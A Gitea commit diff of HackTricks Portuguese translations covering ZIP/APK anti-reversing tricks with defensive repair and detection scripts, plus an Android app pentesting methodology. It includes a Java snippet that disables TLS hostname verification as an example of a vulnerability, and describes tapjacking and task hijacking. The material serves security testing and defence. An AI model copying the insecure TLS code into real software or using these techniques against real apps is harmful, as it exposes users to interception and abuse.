maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-web/file-upload/README.md', 'src/windows

Browse Source
This commit is contained in:
Translator 2025-09-04 00:35:48 +00:00
parent 4404f3bbfb
commit be5822a500
18 changed files with 1544 additions and 1536 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

52
src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md
View File

@ -2,27 +2,27 @@
{{#include ../../../banners/hacktricks-training.md}}
**Ferramentas de linha de comando** para gerenciar **arquivos zip** são essenciais para diagnosticar, reparar e quebrar zip files. Aqui estão algumas utilidades chave:
**Ferramentas de linha de comando** para gerenciar **zip files** são essenciais para diagnosticar, reparar e crackear zip files. Aqui estão algumas utilidades-chave:
- **`unzip`**: Revela por que um arquivo zip pode não ser descompactado.
- **`unzip`**: Revela por que um arquivo zip pode não descompactar.
- **`zipdetails -v`**: Oferece análise detalhada dos campos do formato de arquivo zip.
- **`zipinfo`**: Lista o conteúdo de um arquivo zip sem extraí-lo.
- **`zip -F input.zip --out output.zip`** e **`zip -FF input.zip --out output.zip`**: Tentam reparar arquivos zip corrompidos.
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Uma ferramenta para quebra por força bruta de senhas de zip, efetiva para senhas de até cerca de 7 caracteres.
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Uma ferramenta para quebra por força bruta de senhas de arquivos zip, eficaz para senhas de até cerca de 7 caracteres.
A [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) fornece detalhes abrangentes sobre a estrutura e os padrões de arquivos zip.
A [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) fornece detalhes abrangentes sobre a estrutura e os padrões dos arquivos zip.
É crucial notar que arquivos zip protegidos por senha **não criptografam nomes de arquivos nem tamanhos de arquivo**, uma falha de segurança não presente em arquivos RAR ou 7z, que criptografam essa informação. Além disso, arquivos zip criptografados com o método mais antigo ZipCrypto são vulneráveis a um **plaintext attack** se uma cópia não criptografada de um arquivo compactado estiver disponível. Esse ataque aproveita o conteúdo conhecido para quebrar a senha do zip, uma vulnerabilidade detalhada no [artigo do HackThis](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) e explicada em [este paper acadêmico](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). No entanto, arquivos zip protegidos com criptografia **AES-256** são imunes a esse plaintext attack, demonstrando a importância de escolher métodos de criptografia seguros para dados sensíveis.
É crucial observar que arquivos zip protegidos por senha **não criptografam nomes de arquivos ou tamanhos de arquivos** internamente, uma falha de segurança que não é compartilhada por arquivos RAR ou 7z, que criptografam essas informações. Além disso, arquivos zip criptografados com o método mais antigo ZipCrypto são vulneráveis a um **plaintext attack** se uma cópia não criptografada de um arquivo comprimido estiver disponível. Esse ataque aproveita o conteúdo conhecido para quebrar a senha do zip, uma vulnerabilidade detalhada no artigo do [HackThis](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) e mais explicada neste [artigo acadêmico](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). No entanto, arquivos zip protegidos com criptografia **AES-256** são imunes a esse plaintext attack, demonstrando a importância de escolher métodos de criptografia seguros para dados sensíveis.
---
## Truques anti-reversão em APKs usando cabeçalhos ZIP manipulados
Modern Android malware droppers usam metadados ZIP malformados para quebrar ferramentas estáticas (jadx/apktool/unzip) enquanto mantêm o APK instalável no dispositivo. Os truques mais comuns são:
Droppers modernos de malware Android usam metadados ZIP malformados para quebrar ferramentas estáticas (jadx/apktool/unzip) enquanto mantêm o APK instalável no dispositivo. Os truques mais comuns são:
- Criptografia falsa ajustando o bit 0 do ZIP General Purpose Bit Flag (GPBF)
- Abusar de Extra fields grandes/personalizados para confundir parsers
- Colisões de nomes de arquivo/diretório para esconder artefatos reais (ex.: um diretório chamado `classes.dex/` ao lado do real `classes.dex`)
- Criptografia falsa definindo o ZIP General Purpose Bit Flag (GPBF) bit 0
- Abusar de campos Extra grandes/customizados para confundir parsers
- Colisões de nomes de arquivo/diretório para esconder artefatos reais (ex., um diretório chamado `classes.dex/` ao lado do real `classes.dex`)
### 1) Criptografia falsa (GPBF bit 0 set) sem criptografia real
@ -32,7 +32,7 @@ Sintomas:
```
java.util.zip.ZipException: invalid CEN header (encrypted entry)
```
- `unzip` pede uma senha para arquivos principais do APK mesmo que um APK válido não possa ter `classes*.dex`, `resources.arsc`, ou `AndroidManifest.xml` criptografados:
- `unzip` solicita uma senha para arquivos principais do APK mesmo que um APK válido não possa ter `classes*.dex`, `resources.arsc`, ou `AndroidManifest.xml` criptografados:
```bash
unzip sample.apk
@ -56,9 +56,9 @@ General Purpose Flag 0A09
[Bit 3] 1 'Streamed'
[Bit 11] 1 'Language Encoding'
```
Heurística: Se um APK instala e executa no dispositivo, mas entradas principais aparecem "encrypted" para ferramentas, o GPBF foi adulterado.
Heurística: Se um APK instala e roda no dispositivo, mas entradas principais aparecem "criptografadas" para as ferramentas, o GPBF foi adulterado.
Corrija zerando o bit 0 do GPBF nas entradas de Local File Headers (LFH) e Central Directory (CD). Byte-patcher mínimo:
Corrija zerando o bit 0 do GPBF tanto nas Local File Headers (LFH) quanto nas entradas do Central Directory (CD). Byte-patcher mínimo:
```python
# gpbf_clear.py – clear encryption bit (bit 0) in ZIP local+central headers
import struct, sys
@ -94,33 +94,33 @@ Uso:
python3 gpbf_clear.py obfuscated.apk normalized.apk
zipdetails -v normalized.apk | grep -A2 "General Purpose Flag"
```
Você deve agora ver `General Purpose Flag 0000` nas entradas principais e as ferramentas irão parsear o APK novamente.
Você deve agora ver `General Purpose Flag 0000` nas entradas principais e as ferramentas vão parsear o APK novamente.
### 2) Large/custom Extra fields to break parsers
### 2) Campos Extra grandes/personalizados para quebrar parsers
Atacantes inserem campos Extra superdimensionados e IDs estranhos nos headers para enganar decompilers. No mundo real você pode ver marcadores personalizados (por exemplo, strings como `JADXBLOCK`) embutidos ali.
Atacantes enchem campos Extra superdimensionados e IDs estranhos nos headers para derrubar decompiladores. Na prática, você pode ver marcadores personalizados (por exemplo, strings como `JADXBLOCK`) embutidos ali.
Inspeção:
```bash
zipdetails -v sample.apk | sed -n '/Extra ID/,+4p' | head -n 50
```
Exemplos observados: IDs desconhecidos como `0xCAFE` ("Java Executable") ou `0x414A` ("JA:") contendo payloads grandes.
Exemplos observados: IDs desconhecidos como `0xCAFE` ("Executável Java") ou `0x414A` ("JA:") carregando grandes payloads.
Heurísticas DFIR:
- Disparar alerta quando Extra fields estiverem incomumente grandes nas entradas principais (`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`).
- Tratar Extra IDs desconhecidos nessas entradas como suspeitos.
- Alertar quando os campos Extra estiverem incomumente grandes nas entradas principais (`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`).
- Tratar IDs Extra desconhecidos nessas entradas como suspeitos.
Mitigação prática: reconstruir o arquivo (por exemplo, recompactando os arquivos extraídos) remove os Extra fields maliciosos. Se ferramentas se recusarem a extrair devido a criptografia falsa, primeiro limpe o GPBF bit 0 como acima, então reempacote:
Mitigação prática: reconstruir o arquivo (por exemplo, recompactando os arquivos extraídos) remove os campos Extra maliciosos. Se as ferramentas se recusarem a extrair devido a criptografia falsa, primeiro limpe o bit 0 do GPBF como acima, então reempacote:
```bash
mkdir /tmp/apk
unzip -qq normalized.apk -d /tmp/apk
(cd /tmp/apk && zip -qr ../clean.apk .)
```
### 3) Colisões de nomes de arquivo/diretório (ocultando artefatos reais)
### 3) Colisões de nomes de arquivo/diretório (escondendo artefatos reais)
Um ZIP pode conter tanto um arquivo `X` quanto um diretório `X/`. Alguns extratores e decompiladores ficam confusos e podem sobrepor ou esconder o arquivo real com uma entrada de diretório. Isso foi observado com entradas colidindo com nomes centrais de APK como `classes.dex`.
Um ZIP pode conter tanto um arquivo `X` quanto um diretório `X/`. Alguns extractors e decompilers ficam confusos e podem sobrepor ou ocultar o arquivo real com uma entrada de diretório. Isso foi observado com entradas colidindo com nomes principais de APK como `classes.dex`.
Triagem e extração segura:
Triage e extração segura:
```bash
# List potential collisions (names that differ only by trailing slash)
zipinfo -1 sample.apk | awk '{n=$0; sub(/\/$/,"",n); print n}' | sort | uniq -d
@ -148,10 +148,10 @@ for base, variants in collisions.items():
if len(variants) > 1:
print('COLLISION', base, '->', variants)
```
Blue-team detection ideas:
- Sinalizar APKs cujos cabeçalhos locais marcam criptografia (GPBF bit 0 = 1) yet install/run.
- Sinalizar large/unknown Extra fields on core entries (look for markers like `JADXBLOCK`).
- Sinalizar path-collisions (`X` and `X/`) specifically para `AndroidManifest.xml`, `resources.arsc`, `classes*.dex`.
Ideias de detecção para Blue-team:
- Marcar APKs cujos cabeçalhos locais indicam criptografia (GPBF bit 0 = 1) mas ainda assim instalam/executam.
- Marcar Extra fields grandes/desconhecidos em core entries (procure por marcadores como `JADXBLOCK`).
- Marcar colisões de caminho (`X` e `X/`) especificamente para `AndroidManifest.xml`, `resources.arsc`, `classes*.dex`.
---

519
src/linux-hardening/privilege-escalation/README.md
View File

File diff suppressed because it is too large Load Diff

478
src/mobile-pentesting/android-app-pentesting/README.md
View File

@ -2,9 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
## Fundamentos das Aplicações Android
## Noções Básicas sobre Aplicações Android
É altamente recomendado começar lendo esta página para conhecer as **partes mais importantes relacionadas à segurança do Android e os componentes mais perigosos em uma aplicação Android**:
É fortemente recomendado começar lendo esta página para conhecer as **partes mais importantes relacionadas à segurança Android e os componentes mais perigosos em uma aplicação Android**:
{{#ref}}
@ -13,15 +13,15 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
Esta é a ferramenta principal que você precisa para conectar-se a um dispositivo Android (emulado ou físico).\
**ADB** permite controlar dispositivos via **USB** ou **rede** a partir de um computador. Esta utilidade possibilita a **cópia** de arquivos em ambas as direções, a **instalação** e **desinstalação** de apps, a **execução** de comandos shell, o **backup** de dados, a **leitura** de logs, entre outras funções.
Esta é a ferramenta principal que você precisa para se conectar a um dispositivo Android (emulado ou físico).\
**ADB** permite controlar dispositivos tanto via **USB** quanto via **Network** a partir de um computador. Esta utilidade possibilita a **cópia** de arquivos em ambas as direções, **instalação** e **desinstalação** de apps, **execução** de comandos shell, **backup** de dados, **leitura** de logs, entre outras funções.
Confira a seguinte lista de [**ADB Commands**](adb-commands.md) para aprender a usar o adb.
Dê uma olhada na seguinte lista de [**ADB Commands**](adb-commands.md) para aprender a usar o adb.
## Smali
Às vezes é interessante **modificar o código da aplicação** para acessar **informações ocultas** (talvez senhas bem ofuscadas ou flags). Então, pode ser interessante decompilar o apk, modificar o código e recompilá-lo.\
[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Isto pode ser muito útil como uma **alternativa para vários testes durante a dynamic analysis** que serão apresentados. Então, **mantenha sempre em mente essa possibilidade**.
Às vezes é interessante **modificar o código da aplicação** para acessar **informações ocultas** (talvez senhas ou flags bem ofuscadas). Nesse caso, pode ser interessante decompilar o APK, modificar o código e recompilá-lo.\
[**Neste tutorial** você pode **aprender como decompilar um APK, modificar código Smali e recompilar o APK** com a nova funcionalidade](smali-changes.md). Isso pode ser muito útil como uma **alternativa para vários testes durante a análise dinâmica** que serão apresentados. Portanto, **mantenha sempre em mente essa possibilidade**.
## Outros truques interessantes
@ -40,7 +40,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
```
- Mescle todos os splits e os apks base com [APKEditor](https://github.com/REAndroid/APKEditor):
- Mescle todos os splits e os base apks com [APKEditor](https://github.com/REAndroid/APKEditor):
```bash
mkdir splits
adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits
@ -49,7 +49,7 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk
# after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner
java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
```
## Estudos de Caso e Vulnerabilidades
## Estudos de Caso & Vulnerabilidades
{{#ref}}
@ -63,39 +63,39 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
## Análise Estática
Primeiro de tudo, para analisar um APK você deve **dar uma olhada no código Java** usando um decompilador.\
Por favor, [**leia aqui para encontrar informação sobre diferentes decompiladores disponíveis**](apk-decompilers.md).
First of all, for analysing an APK you should **take a look to the to the Java code** using a decompiler.\
Please, [**read here to find information about different available decompilers**](apk-decompilers.md).
### Procurando informações interessantes
Apenas olhando as **strings** do APK você pode procurar por **senhas**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** e qualquer coisa interessante... procure até por **backdoors** de execução de código ou backdoors de autenticação (credenciais admin hardcoded no app).
Basta olhar as **strings** do APK para procurar **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** e qualquer coisa interessante... procure até por **backdoors** de execução de código ou backdoors de autenticação (credenciais de admin hardcoded no app).
**Firebase**
Preste atenção especial às **Firebase URLs** e verifique se estão mal configuradas. [Mais informações sobre o que é Firebase e como explorá-lo aqui.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
Preste atenção especial às URLs do **Firebase** e verifique se está mal configurado. [More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### Entendimento básico da aplicação - Manifest.xml, strings.xml
### Compreensão básica da aplicação - Manifest.xml, strings.xml
A **examinação dos arquivos _Manifest.xml_ e **_strings.xml_** de uma aplicação pode revelar potenciais vulnerabilidades de segurança**. Esses arquivos podem ser acessados usando decompiladores ou renomeando o arquivo APK para .zip e descompactando-o.
A **examinação dos arquivos _Manifest.xml_ e _strings.xml_ de uma aplicação pode revelar potenciais vulnerabilidades de segurança**. Esses arquivos podem ser acessados usando decompilers ou renomeando a extensão do APK para .zip e então descompactando-o.
As **vulnerabilidades** identificadas a partir do **Manifest.xml** incluem:
**Vulnerabilidades** identificadas a partir do **Manifest.xml** incluem:
- **Debuggable Applications**: Aplicações definidas como debuggable (`debuggable="true"`) no arquivo _Manifest.xml_ apresentam risco, pois permitem conexões que podem levar à exploração. Para entender melhor como explorar aplicações debuggable, consulte um tutorial sobre encontrar e explorar aplicações debuggable em um dispositivo.
- **Backup Settings**: O atributo `android:allowBackup="false"` deve ser explicitamente definido para aplicações que lidam com informações sensíveis para evitar backups não autorizados via adb, especialmente quando usb debugging está habilitado.
- **Network Security**: Configurações customizadas de network security (`android:networkSecurityConfig="@xml/network_security_config"`) em _res/xml/_ podem especificar detalhes de segurança como certificate pins e configurações de tráfego HTTP. Um exemplo é permitir tráfego HTTP para domínios específicos.
- **Debuggable Applications**: Aplicações definidas como debuggable (`debuggable="true"`) no _Manifest.xml_ representam um risco, pois permitem conexões que podem levar à exploração. Para mais detalhes sobre como explorar aplicações debuggable, consulte um tutorial sobre encontrar e explorar aplicações debuggable em um dispositivo.
- **Backup Settings**: O atributo `android:allowBackup="false"` deve ser explicitamente definido para aplicações que lidam com informações sensíveis, para prevenir backups não autorizados via adb, especialmente quando o usb debugging está habilitado.
- **Network Security**: Configurações customizadas de network security (`android:networkSecurityConfig="@xml/network_security_config"`) em _res/xml/_ podem especificar detalhes de segurança como certificate pins e configurações de HTTP. Um exemplo é permitir tráfego HTTP para domínios específicos.
- **Exported Activities and Services**: Identificar activities e services exportados no manifest pode evidenciar componentes que podem ser mal utilizados. Análises adicionais durante testes dinâmicos podem revelar como explorar esses componentes.
- **Content Providers and FileProviders**: Content providers expostos podem permitir acesso ou modificação não autorizada de dados. A configuração de FileProviders também deve ser cuidadosamente verificada.
- **Broadcast Receivers and URL Schemes**: Esses componentes podem ser aproveitados para exploração, com atenção particular à forma como os URL schemes são gerenciados quanto a vulnerabilidades de input.
- **SDK Versions**: Os atributos `minSdkVersion`, `targetSDKVersion` e `maxSdkVersion` indicam as versões do Android suportadas, ressaltando a importância de não suportar versões antigas e vulneráveis do Android por razões de segurança.
- **Content Providers and FileProviders**: Content providers expostos podem permitir acesso ou modificação não autorizada de dados. A configuração de FileProviders também deve ser examinada.
- **Broadcast Receivers and URL Schemes**: Esses componentes podem ser aproveitados para exploração, com atenção especial em como as URL schemes são gerenciadas para vulnerabilidades de input.
- **SDK Versions**: Os atributos `minSdkVersion`, `targetSDKVersion` e `maxSdkVersion` indicam as versões do Android suportadas, destacando a importância de não suportar versões antigas e vulneráveis do Android por motivos de segurança.
Do arquivo **strings.xml**, podem ser descobertas informações sensíveis como API keys, custom schemas e outras notas de desenvolvedor, reforçando a necessidade de revisão cuidadosa desses recursos.
A partir do **strings.xml**, informações sensíveis como API keys, custom schemas e outras notas de desenvolvedores podem ser descobertas, ressaltando a necessidade de revisar cuidadosamente esses recursos.
### Tapjacking
**Tapjacking** é um ataque onde uma **aplicação maliciosa** é lançada e **se posiciona por cima de uma aplicação vítima**. Uma vez que obscurece visivelmente o app vítima, sua interface é projetada de forma a enganar o usuário para interagir com ela, enquanto está repassando a interação para o app vítima.\
Na prática, isso **cega o usuário quanto ao fato de estar, na verdade, executando ações no app vítima**.
**Tapjacking** é um ataque onde uma **malicious application** é lançada e se **posiciona sobre uma aplicação vítima**. Uma vez que obscurece visivelmente o app vítima, sua interface é projetada de forma a enganar o usuário para interagir com ela, enquanto repassa a interação para o app vítima.\
Em efeito, é **cegar o usuário quanto ao fato de que ele está realmente realizando ações no app vítima**.
Encontre mais informação em:
Find more information in:
{{#ref}}
@ -104,9 +104,9 @@ tapjacking.md
### Task Hijacking
Uma **activity** com o **`launchMode`** definido como **`singleTask` sem qualquer `taskAffinity`** definida é vulnerável a Task Hijacking. Isso significa que uma **aplicação** pode ser instalada e, se iniciada antes da aplicação real, ela pode **hijackar a task da aplicação real** (fazendo com que o usuário interaja com a **aplicação maliciosa achando que está usando a aplicação legítima**).
Uma **activity** com o **`launchMode`** definido como **`singleTask` sem qualquer `taskAffinity`** definida é vulnerável ao Task Hijacking. Isso significa que uma **application** pode ser instalada e, se iniciada antes da aplicação real, poderia **hijackar a task da aplicação real** (então o usuário estará interagindo com a **malicious application** pensando que está usando a aplicação real).
Mais info em:
More info in:
{{#ref}}
@ -115,71 +115,71 @@ android-task-hijacking.md
### Armazenamento de dados inseguro
**Internal Storage**
**Armazenamento Interno**
No Android, arquivos **armazenados** no **internal** storage são **projetados** para serem **acessíveis** exclusivamente pela **app** que os **criou**. Essa medida de segurança é **aplicada** pelo sistema operacional Android e é geralmente suficiente para a maioria das aplicações. No entanto, desenvolvedores às vezes utilizam modos como `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` para **permitir** que arquivos sejam **compartilhados** entre diferentes aplicações. Esses modos, entretanto, **não restringem o acesso** a esses arquivos por outras aplicações, incluindo potencialmente maliciosas.
No **Android**, arquivos **armazenados** no **internal storage** são **projetados** para serem **acessíveis** exclusivamente pela **app** que os **criou**. Essa medida de segurança é **aplicada** pelo sistema operacional Android e é geralmente adequada para as necessidades de segurança da maioria das aplicações. No entanto, desenvolvedores às vezes utilizam modos como `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` para **permitir** que arquivos sejam **compartilhados** entre diferentes aplicações. Ainda assim, esses modos **não restringem o acesso** a esses arquivos por outras aplicações, incluindo potenciais maliciosas.
1. **Análise Estática:**
- **Assegure-se** de que o uso de `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` seja **cuidadosamente revisado**. Esses modos **podem expor** arquivos a **acesso não intencional ou não autorizado**.
2. **Análise Dinâmica:**
- **Verifique** as **permissões** definidas nos arquivos criados pelo app. Especificamente, **confirme** se algum arquivo está **configurado para ser legível ou gravável mundialmente**. Isso pode representar um risco significativo de segurança, pois permitiria que **qualquer aplicação** instalada no dispositivo, independentemente de sua origem ou intenção, **leia ou modifique** esses arquivos.
1. **Static Analysis:**
- **Ensure** que o uso de `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` seja **cuidadosamente escrutinado**. Esses modos **podem expor potencialmente** arquivos a **acessos não intencionais ou não autorizados**.
2. **Dynamic Analysis:**
- **Verify** as **permissions** definidas em arquivos criados pelo app. Especificamente, **cheque** se algum arquivo está **definido como legível ou gravável mundialmente**. Isso pode representar um risco significativo de segurança, pois permitiria **qualquer aplicação** instalada no dispositivo, independentemente de sua origem ou intenção, a **ler ou modificar** esses arquivos.
**External Storage**
**Armazenamento Externo**
Ao lidar com arquivos em **external storage**, como SD Cards, certas precauções devem ser tomadas:
Ao lidar com arquivos no **external storage**, como SD Cards, certas precauções devem ser tomadas:
1. **Acessibilidade**:
1. **Accessibility**:
- Arquivos no external storage são **globalmente legíveis e graváveis**. Isso significa que qualquer aplicação ou usuário pode acessar esses arquivos.
2. **Preocupações de Segurança**:
2. **Security Concerns**:
- Dada a facilidade de acesso, é recomendado **não armazenar informações sensíveis** no external storage.
- O external storage pode ser removido ou acessado por qualquer aplicação, tornando-o menos seguro.
3. **Tratamento de Dados vindos do External Storage**:
- Sempre **execute validação de input** nos dados recuperados do external storage. Isso é crucial porque os dados vêm de uma fonte não confiável.
- Armazenar executáveis ou arquivos de classe no external storage para carregamento dinâmico é fortemente desaconselhado.
- Se sua aplicação precisa recuperar arquivos executáveis do external storage, garanta que esses arquivos sejam **assinados e verificados criptograficamente** antes de serem carregados dinamicamente. Esse passo é vital para manter a integridade de segurança da aplicação.
3. **Handling Data from External Storage**:
- Sempre **realize validação de entrada** nos dados recuperados do external storage. Isso é crucial porque os dados vêm de uma fonte não confiável.
- Evite armazenar executáveis ou arquivos de classe no external storage para carregamento dinâmico.
- Se sua aplicação precisar recuperar arquivos executáveis do external storage, assegure que esses arquivos estejam **signed and cryptographically verified** antes de serem carregados dinamicamente. Esse passo é vital para manter a integridade de segurança da sua aplicação.
External storage pode ser **acessado** em `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard`
> [!TIP]
> A partir do Android 4.4 (**API 17**), o SD card possui uma estrutura de diretórios que **limita o acesso de um app ao diretório que é especificamente para aquele app**. Isso impede que aplicações maliciosas ganhem acesso de leitura ou escrita aos arquivos de outro app.
**Dados sensíveis armazenados em texto simples**
**Dados sensíveis armazenados em texto claro**
- **Shared preferences**: O Android permite que cada aplicação salve facilmente arquivos xml no caminho `/data/data/<packagename>/shared_prefs/` e às vezes é possível encontrar informações sensíveis em clear-text nessa pasta.
- **Databases**: O Android permite que cada aplicação salve facilmente bancos sqlite no caminho `/data/data/<packagename>/databases/` e às vezes é possível encontrar informações sensíveis em clear-text nessa pasta.
- **Shared preferences**: O Android permite que cada aplicação salve facilmente arquivos xml no caminho `/data/data/<packagename>/shared_prefs/` e às vezes é possível encontrar informações sensíveis em texto claro nessa pasta.
- **Databases**: O Android permite que cada aplicação salve facilmente bancos sqlite no caminho `/data/data/<packagename>/databases/` e às vezes é possível encontrar informações sensíveis em texto claro nessa pasta.
### Broken TLS
**Accept All Certificates**
Por alguma razão, às vezes desenvolvedores aceitam todos os certificados mesmo se, por exemplo, o hostname não corresponder, com linhas de código como a seguinte:
Por alguma razão, às vezes os desenvolvedores aceitam todos os certificados mesmo que, por exemplo, o hostname não coincida, com linhas de código como a seguinte:
```java
SSLSocketFactory sf = new cc(trustStore);
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
```
Uma boa forma de testar isso é tentar capturar o tráfego usando algum proxy como Burp sem autorizar o Burp CA dentro do dispositivo. Também, você pode gerar com o Burp um certificado para um hostname diferente e usá-lo.
Uma boa forma de testar isso é tentar capturar o tráfego usando algum proxy como Burp sem autorizar o Burp CA dentro do dispositivo. Além disso, você pode gerar com o Burp um certificado para um hostname diferente e usá-lo.
### Criptografia fraca
### Criptografia Quebrada
**Processos pobres de gerenciamento de chaves**
**Processos de gerenciamento de chaves inadequados**
Alguns desenvolvedores salvam dados sensíveis no armazenamento local e os criptografam com uma chave hardcoded/preditiva no código. Isso não deveria ser feito, pois algum reversing pode permitir que atacantes extraiam a informação confidencial.
Alguns desenvolvedores salvam dados sensíveis no armazenamento local e os criptografam com uma chave hardcoded/predictable no código. Isso não deve ser feito, pois algum reversing pode permitir que atacantes extraiam as informações confidenciais.
**Uso de algoritmos inseguros e/ou depreciados**
**Uso de algoritmos inseguros e/ou obsoletos**
Desenvolvedores não deveriam usar **algoritmos depreciados** para realizar **checks** de autorização, **armazenar** ou **enviar** dados. Alguns desses algoritmos são: RC4, MD4, MD5, SHA1... Se **hashes** são usados para armazenar senhas por exemplo, hashes resistentes a brute-force deveriam ser usados com salt.
Developers não devem usar **deprecated algorithms** para realizar verificações de authorisation **checks**, **store** ou **send** data. Alguns desses algoritmos são: RC4, MD4, MD5, SHA1... Se **hashes** são usados para armazenar passwords por exemplo, devem ser usados hashes resistentes a brute-force com salt.
### Outros checks
### Outras verificações
- É recomendado **ofuscar o APK** para dificultar o trabalho de reverse engineer para atacantes.
- Se o app for sensível (como apps bancários), ele deveria executar seus **próprios checks para ver se o mobile está rooted** e agir em consequência.
- Se o app for sensível (como apps bancários), ele deveria checar se um **emulador** está sendo usado.
- Se o app for sensível (como apps bancários), ele deveria **checar sua própria integridade antes de executar** para verificar se foi modificado.
- Use [**APKiD**](https://github.com/rednaga/APKiD) para verificar qual compiler/packer/obfuscator foi usado para construir o APK
- É recomendado **obfuscar o APK** para dificultar o trabalho de reverse engineer aos atacantes.
- Se o app for sensível (como apps bancários), ele deve realizar suas **próprias verificações para ver se o mobile está rooted** e agir em conformidade.
- Se o app for sensível (como apps bancários), ele deve verificar se um **emulator** está sendo usado.
- Se o app for sensível (como apps bancários), ele deve **verificar sua própria integridade antes de executar** para checar se foi modificado.
- Use [**APKiD**](https://github.com/rednaga/APKiD) para checar qual compiler/packer/obfuscator foi usado para construir o APK
### React Native Application
Leia a página a seguir para aprender como acessar facilmente o código javascript de aplicações React:
Read the following page to learn how to easily access javascript code of React applications:
{{#ref}}
@ -188,7 +188,7 @@ react-native-application.md
### Xamarin Applications
Leia a página a seguir para aprender como acessar facilmente o código C# de aplicações xamarin:
Read the following page to learn how to easily access C# code of a xamarin applications:
{{#ref}}
@ -197,17 +197,17 @@ Leia a página a seguir para aprender como acessar facilmente o código C# de ap
### Superpacked Applications
De acordo com este [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superpacked é um algoritmo Meta que comprime o conteúdo de uma aplicação em um único arquivo. O blog fala sobre a possibilidade de criar um app que descomprima esse tipo de apps... e uma forma mais rápida que envolve **executar a aplicação e coletar os arquivos descomprimidos do filesystem.**
According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked is a Meta algorithm that compress the content of an application into a single file. The blog talks about the possibility of creating an app that decompress these kind of apps... and a faster way which involves to **execute the application and gather the decompressed files from the filesystem.**
### Análise Estática Automatizada de Código
### Automated Static Code Analysis
A ferramenta [**mariana-trench**](https://github.com/facebook/mariana-trench) é capaz de encontrar **vulnerabilidades** escaneando o **code** da aplicação. Essa ferramenta contém uma série de **known sources** (que indicam ao tool os **lugares** onde a **input** é **controlada pelo usuário**), **sinks** (que indicam ao tool **lugares perigosos** onde input maliciosa do usuário poderia causar danos) e **rules**. Essas rules indicam a **combinação** de **sources-sinks** que sinaliza uma vulnerabilidade.
The tool [**mariana-trench**](https://github.com/facebook/mariana-trench) is capable of finding **vulnerabilities** by **scanning** the **code** of the application. This tool contains a series of **known sources** (that indicates to the tool the **places** where the **input** is **controlled by the user**), **sinks** (which indicates to the tool **dangerous** **places** where malicious user input could cause damages) and **rules**. These rules indicates the **combination** of **sources-sinks** that indicates a vulnerability.
Com esse conhecimento, **mariana-trench irá revisar o code e encontrar possíveis vulnerabilidades nele**.
With this knowledge, **mariana-trench will review the code and find possible vulnerabilities on it**.
### Secrets leaked
Uma aplicação pode conter segredos (API keys, passwords, hidden urls, subdomains...) dentro dela que você pode ser capaz de descobrir. Você pode usar uma ferramenta como [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could us a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
### Bypass Biometric Authentication
@ -216,14 +216,14 @@ Uma aplicação pode conter segredos (API keys, passwords, hidden urls, subdomai
bypass-biometric-authentication-android.md
{{#endref}}
### Outras funções interessantes
### Other interesting functions
- **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()`
- **Send SMSs**: `sendTextMessage, sendMultipartTestMessage`
- **Native functions** declaradas como `native`: `public native, System.loadLibrary, System.load`
- [Leia isto para aprender **como reverter native functions**](reversing-native-libraries.md)
- **Native functions** declared as `native`: `public native, System.loadLibrary, System.load`
- [Read this to learn **how to reverse native functions**](reversing-native-libraries.md)
### **Outros truques**
### **Other tricks**
{{#ref}}
@ -234,25 +234,25 @@ content-protocol.md
---
## Análise Dinâmica
## Dynamic Analysis
> Antes de tudo, você precisa de um ambiente onde possa instalar a aplicação e todo o ambiente (Burp CA cert, Drozer e Frida principalmente). Portanto, um dispositivo rooted (emulado ou não) é altamente recomendado.
> First of all, you need an environment where you can install the application and all the environment (Burp CA cert, Drozer and Frida mainly). Therefore, a rooted device (emulated or not) is extremely recommended.
